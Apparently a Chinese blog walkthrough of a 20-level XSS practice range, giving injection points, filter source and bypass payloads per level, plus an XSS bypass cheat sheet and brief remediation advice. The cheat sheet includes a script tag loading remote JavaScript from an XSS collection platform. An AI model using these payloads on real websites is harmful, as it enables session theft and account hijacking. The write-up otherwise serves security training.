0x00:前言

一个XSS练习平台,闯关形式,一共20关

0x01:开始

第一行都是代码插入点,下面几行是payloads(插入点和payloads中间空一行)

LV1

<script>alert(1)</script>

LV2

插入点:<input name=keyword  value="'.$str.'">
 
payload:<input name=keyword  value=""><script>alert('xss')</script>">
LV3
插入点://<input name=keyword  value='".htmlspecialchars($str)."'>
 
payload:
" onmouseover=alert("xss")//
"onclick=alert(1)//
4.
过滤了<>符号
<input name=keyword  value="'.$str3.'">
 
payload:"onclick=alert(1)//
5
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
替换<script 和on,不过没有过滤<>
这里使用伪协议来构造payload
插入点:<input name=keyword  value="'.$str3.'">
 
payload:<input name=keyword  value=""><a href="javascript:alert(1)">">
"><a href="javascript:alert(1)">
"> <a href="javascript:alert(1)">bmjoker</a>
"> <a href="javascript:%61lert(1)">bmjoker</a> //
 
LV6
这次没有大小写过滤
 
"><Script>alert(1)</Script>
前面的payload大小写混合用应该都可以
LV7
双写绕过
做到这里感觉XSS和SQL注入的绕过方式有些类似,
"><scrscriptipt>alert(1)</scrscriptipt>
" oonnmouseover=alert(1)
"><a hrhrefef=javascriscriptpt:alert(1)>bmjoker</a>
 
LV8
换了一种风格,友情链接
编码绕过
 
a标签,用href构造一个链接,
 
全部字符被转换为小写,常用字符也被替换。所以考虑伪协议构造payload
javascript:alert(1)
注意:javascript被换成javascr_ipt了
所以进行编码绕过
将script任意一个字母10进制,16进制都行
t十进制实体编码:javascript:alert(/xss/)
t十六进制实体编码:javascript:alert(/xss/)
 
r:
javascript:alert(1)
javascript:alert(1)
 
 
LV9
注释符绕过
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
 
 
要求插入字符中必须有http://
其他与lv8相同
javascript:alert(1)//http://127.0.0.1  //利用注释
javascript:%0dhttp://xxx.com%0dalert(1)  //不利用注释
javascript:%0ahttp://xxx.com%0daalert(1)  //不利用注释
 
 
LV10
有HTML实体编码
 
插入点:
<input name="t_sort" value="'.$str33.'" type="hidden">
payload:
<input name="t_sort" value=" " type="text" onclick = "alert(1)" type="hidden">
 
 
keyword=1&t_sort= "type="text" onclick="alert(1)
keyword = test&t_sort="type="text" onclick = "alert(1)
keyword = test&t_sort="type="text" onmouseover="alert(1)
keyword = test&t_sort="type="text" onmouseover=alert`1`
 
 
LV11
修改HTTP请求头实现
查看源码发现多了一个键值t_ref
源码:
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
 
插入点:
<input name="t_ref"  value="'.$str33.'" type="hidden">
 
Referer: " onmouseover=alert(1) type="text"
Referer:" onclick=alert(1) type="text"
Referer:" type="text" onclick="alert(1)
 
 
LV 12
修改请求头
 
查看网页源码
修改User-Agent
 
部分源码:
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
 
插入点:
<input name="t_ua"  value="'.$str33.'" type="hidden">
 
paylaods:
User-Agent: " onmouseover=alert(1) type="text"
User-Agent:" onclick=alert(1) type="text"
 
LV13
查看网页源码,多了t_cook  应该是cookie
源码:
<?php
setcookie("user", "call me maybe?", time()+3600);        <------
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];          <------
$str22=str_replace(">","",$str11);       <------
$str33=str_replace("<","",$str22);       <------
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">             <------
</form>
</center>';
?>
 
插入点:
<input name="t_cook"  value="'.$str33.'" type="hidden"> 
<input name="t_cook"  value="" type="text" onclick="alert(1)" type="hidden">
 
payloads:
Cookie: user=call+me+maybe%3F" onmouseover=alert(1) type="text"
Cookie: user=call+me+maybe%3F" onclick=alert(1) type="text"
Cookie: user=call+me+maybe%3F" type="text" onclick="alert(1)
 
LV14
exif触发XSS
参考一:
....level14崩了,我们看一下大佬的payload:
  "><img src=1 onerror=alert(1)>
百度得出答案,这里用的是乌云爆出的exif viewer的漏洞,漏洞原理是通过修改图片的exif信息,
造成解析图片exif触发XSS。利用工具推荐exiftool。以后看见上传果断又一个姿势啊。
修改图片exif信息如标题,作者。
参考二:
查看源码发现exif,猜测应该是exif xss,但是这个链接由于网络的原因无法访问,所以,也无法实践
exif xss,一般利用于文件上传的地方,最经典的就是头像上传,上传一个图片,该图片的exif元数据被修改为xss payload,成功利用弹窗
具体实现使用kali下的exiftool工具
命令如下:
exiftool -FIELD=XSS FILE
exiftool -Artist=’ “><img src=1 onerror=alert(document.domain)>’ brute.jpeg
 
LV15
插入点<body><span class="ng-include:1.gif"></span></body>
paylaod: 包含level1的弹窗
src='level1.php?name=<img src=x onerror=alert(1)>'
因为这里要访问上面的angular.min.js这个js文件,才能进行包含,虚拟环境里面无法访问那个js,因为需要fanqiang才能访问
ng-include:相当于文件包含。用于包含外部的HTML文件,可以作为一个属性,或者一个元素使用
 
onerror:
onerror=handleErr
 
function handleErr(msg,url,l)
{
//Handle the error here
return true or false
}
 
LV16
换行符%0a(换行)或者%0d(回车)绕过
查看网页源码:
注入点:
<center><&nbsp;>alert(1)<&nbsp;&nbsp;></center><center><img src=level16.png></center>
空格和script被替换为&nbsp;
 
源码:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("    ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
 
注入点:echo "<center>".$str5."</center>";
这里我们可以使用换行符%0a(换行)或者%0d(回车)绕过
payload:
<img%0asrc=1%0aonerror=alert(1)>
或者
<svg%0aonload=alert(1)>
<img%0Dsrc=1%0Donerror=alert(1)>
<iframe%0asrc=1%0donmouseover=alert`1`></iframe>
<svg%0aonload=alert`1`></svg>
 
LV17
arg01=123&arg02= onmouseover=alert(1)
arg01=123&arg02= onmouseover=alert(1)

0x02:总结

XSS常用的测试语句

  • <script>alert(1)</script>
  • <img src=x onerror=alert(1)>
  • <svg onload=alert(1)>
  • <a href=javascript:alert(1)>

xss绕过方法

大小写绕过

<Script>alert(1)</Script>

双写绕过

<scrscriptipt>alert(1)</scrscriptipt>

替换绕过

过滤 alert 用prompt,confirm,top['alert'](1)代替绕过
过滤() 用``代替绕过
过滤空格 用%0a(换行符),%0d(回车符),/**/代替绕过
小写转大写情况下 字符ſ大写后为S(ſ不等于s)

%00截断绕过

<a href=javascr%00ipt:alert(1)>xss</a>

编码绕过

  • HTML实体编码

命名实体:以&开头,以分号结尾,例如“<”的编码是“&lt;”

字符编码:十进制、十六进制ASCII码或Unicode字符编码,样式为“&#数值;”

javascript:alert(1) 十六进制
javascript:alert(1) 十进制
javascrip\u0074:alert(1)
  • JS编码
①三个八进制数字,如果个数不够,在前面补0,例如“e”的编码为“\145”(e的八进制ASCII码)
②两个十六进制数字,如果个数不够,在前面补0,e的编码为“\x65”
③四个十六进制数字,“\x0065”
④对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)
  • url编码
javascrip%74:alert(1)

fromCharCode方法绕过

String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)
eval(FromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))

javascript伪协议绕过

无法闭合双引号的情况下,就无法使用onclick等事件,只能伪协议绕过,或者调用外部js

换行绕过正则匹配

onmousedown
=alert(1)

注释符

// 单行注释
<!-- --!> 注释多行内容
<!-- --> 注释多行内容
<-- --> 注释多行内容
<-- --!> 注释多行内容
--> 单行注释后面内容
/* */ 多行注释
有时还可以利用浏览器的容错性,不需要注释

闭合标签空格绕过

</style ><script>alert(1)</script>

@符号绕过url限制

例如:https://www.segmentfault.com@xss.haozi.me/j.js
其实访问的是@后面的内容

")逃逸函数后接分号

例:");alert(1)//

\绕过转义限制

例:
\")
alert(1) //
xss paylaod形式
<script>alert(1)</script>
<script src="http://xsspt.com/vA4t1W?1542101296"></script>
<img src=x onerror=alert(1)>
<a href="javascript:alert(1)">xss</a>
<svg onload=alert(1)>
<input type="text" name="test" onclick=alert(1)>
<iframe src="javascript:alert(/xss/)">xss</iframe>
<iframe srcdoc="<script>alert(1)</script>">

绕过magic_quotes_gpc

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>

标签

闭合标签

"><script>alert(/123/)</script>

</script><script>alert(1)</script>
标签绕过
<img src="x" onerror="alert(1)">
<button onclick="javascript:alert('xss')>XSS</button">
<title><img a="</title><img/src=1 onerror=alert(1)//">
"onsubmit=javascript:alert(1)%20name="a
<details open ontoggle="eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))">
<video src="http://www.0dutv.com/plug/down/up2.php/104678898.mp3" onprogress=(′body′).prepend(123);
('body')></video>

其他符号绕过

%0a         替换空格

%0d         替换空格
/**/          替换空格
%00          截断
``              替换括号

宽字节绕过

gbxxxx系列的编码,那么我们尝试一下宽字节  %c0,%bf,%5c,%df

其他事件绕过

onload
onclick
onerror
prompt
confirm
onmousemove

CRLF injection绕过

CRLF是”回车 + 换行”(\r\n)的简称。
http://www.xxx.com%0d%0a%0d%0a<svg/onload=prompt(1)>

0xff:XSS漏洞修复方法

XSS漏洞涉及输入输出两个部分,是代码注入的一种,修复方法:(1)过滤输入的数据,例如一些非法字符“'”、“"”、“<”、">"、“on+”
(2)对输出到页面的数据进行相应的编码转换,HTML编码、JS编码、URL编码等。
 
 

XSS靶场练习的更多相关文章

  1. xss靶场详解

    一个XSS靶场练习记录 https://blog.csdn.net/qq_41500251/article/details/101116697 001.level 1 反射型 1.观察源码 <s ...

  2. 存储型XSS靶场作业

    首先进入靶场:http://59.63.200.79:8082/index.php xss平台使用:xss8c 发现CMS版本号,搜索是否此版本号存在可利用漏洞: 找到存储型xss漏洞,在xss平台生 ...

  3. xss靶场练习(7.22)

    靶场地址:http://xss.fbisb.com/ 参考的文章:https://www.cnblogs.com/cute-puli/p/10834954.html  感谢大佬的分享 做这个题的思路就 ...

  4. xss靶场大通关(持续更新ing)

      xss秘籍第一式(常弹) (1)进入自己搭建的靶场,发现有get请求,参数为name,可进行输入,并会将输入的内容显示于网页页面 (2)使用xss的payload进行通关: http://127. ...

  5. (未完)XSS漏洞实战靶场笔记

    记录下自己写的XSS靶场的write up,也是学习了常见xss漏洞类型的实战场景

  6. XSS challenges 1-10

    学长发的xss靶场,刚好js学完了,上手整活. 这个提示说非常简单,直接插入就完事了 <script>alert(document.domain)</script> 第二关. ...

  7. WEB漏洞——XSS

    跨站脚本( Cross-site Scripting,简称为XSS或跨站脚本或跨站脚本攻击)是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种. XSS攻击可以分为三种:反射型.存储型和DOM ...

  8. xss之挑战小靶场(1-10)

    在线靶场(http://xss.fbisb.com) w 第一关 get请求,没有什么过滤,直接上<script>alert()</script> 源码: 第二关 输入参数会显 ...

  9. pikachu靶场-XSS

    .Tips: 一般查询接口容易出现反射型XSS,留言板容易出现存储型XSS 由于后台可能存在过滤措施,构造的script可能会被过滤掉,而无法生效,或者环境限制了执行(浏览器): 通过变化不同的scr ...

随机推荐

  1. 02-cmake语法-if、条件表达

    格式: if(expression) # then section. COMMAND1(ARGS ...) COMMAND2(ARGS ...) ... elseif(expression2) # e ...

  2. shell脚本的输入以及脚本拥有特效地输出

    shell脚本的输入以及脚本拥有特效地输出 shell脚本输入之read命令 之前是直接在sh 后加参数 现在是另一种方式 语法:read -参数 -p:给出提示符.默认不支持"\n&quo ...

  3. Nacos 解读:服务发现客户端

    Nacos是阿里巴巴的微服务开源项目,用于服务发现和配置管理,开源以来我就一直关注,在此准备以几篇文章来窥其全貌,但大段大段贴代码就没必要了,这里用自己的一些理解和总结来帮助大家理解.文章将基于截止目 ...

  4. generator(生成器)

    什么是generator函数: 在js中,一个函数一旦执行,就会运行到最后或者遇到return时结束,运行期间不会有其它代码能打断它,也不能从外部再传入值到函数体内. generator函数的出现就可 ...

  5. LOJ6686 Stupid GCD(数论,欧拉函数,杜教筛)

    做题重心转移到 LOJ 了. 至于为什么,如果你知道“……”的密码,就去看吧. LOJ 上用户自创题大多数都不可做,今天看到个可做题(而且还是个水题),就来做了一发. 明显枚举立方根.(以下令 $m= ...

  6. [LeetCode] 875. Koko Eating Bananas 科科吃香蕉

    Koko loves to eat bananas.  There are N piles of bananas, the i-th pile has piles[i] bananas.  The g ...

  7. [LeetCode] 410. Split Array Largest Sum 分割数组的最大值

    Given an array which consists of non-negative integers and an integer m, you can split the array int ...

  8. Visual Studio 调试系列9 调试器提示和技巧

    系列目录     [已更新最新开发文章,点击查看详细] 01 固定数据提示 如果你在调试时,经常将鼠标悬停在数据提示上,就可能想固定变量的数据提示,方便自己随时查看. 即使在重新启动后,固定的变量也能 ...

  9. JVM学习笔记1

    1.运行时数据结构 2.堆分代 3.垃圾收集器 Parallel Scavenge收集器:新生代称为PSYoungGen,老年代称为ParOldGen,永久代称为Metaspace ParNew收集器 ...

  10. CentOS7 Hadoop 安装(完全分布式)

    一.hadoop集群安装模式   单机模式 直接解压,无需任何配置.主要用于测试代码.没有分布式文件系统.   伪分布式 完全分布式的一种形式,只是所有的进程都配置要一个节点上.有分布式文件系统,只不 ...